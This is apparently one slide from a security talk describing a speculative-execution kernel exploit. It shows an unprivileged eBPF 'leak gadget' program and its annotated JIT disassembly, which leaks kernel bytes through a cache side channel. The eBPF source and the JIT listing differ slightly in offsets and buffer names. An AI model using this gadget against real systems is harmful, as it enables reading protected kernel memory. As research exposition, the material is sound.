Exploitation – Leak Gadget

- We need to find a leak gadget in the kernel code
- Why don't we JIT it with unprivileged eBPF ?

  (Yep, there is a JIT engine in the Linux kernel)

```
struct bpf_insn insns_gadget_leak[] = {
    BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 168),
    BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 9),

    BPF_LDX_MEM(BPF_W, BPF_REG_0, BPF_REG_0, 0),
    BPF_LDX_MEM(BPF_W,  BPF_REG_4, BPF_REG_1, 0),
    BPF_ALU64_REG(BPF_RSH, BPF_REG_0, BPF_REG_4),
    BPF_ALU64_IMM(BPF_AND, BPF_REG_0, FR_MASK),
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_0, FR_STRIDE_LOG),

    BPF_LD_IMM64_RAW_FULL(BPF_REG_2, 2, 0, 0, map_array_fd_fr_buf, 0),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_0),
    BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_2, 0),

    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
};
```

JIT

```
    push   rbp
    mov    rbp,rsp
    ;load er_buf base address
    movabs rsi,0xffffc900028ff110
    ;rdi+0x18 = &pt_regs.r12 transiently
    ;         = &bpf_sock architecturally
    mov    rax,QWORD PTR [rdi+0x18]
    test   rax,rax
    je     fail
    ;Dereference of user r12 value transiently
    mov    eax,DWORD PTR [rax+0x14]
    ;extract the byte to leak
    and    rax,0xff
    shl    rax,0xc
    add    rsi,rax
    ;maccess(er_buf[byte_to_leak*0x1000])
    mov    rsi,QWORD PTR [rsi+0x0]
fail:
    xor    eax,eax
    leave
    ret
```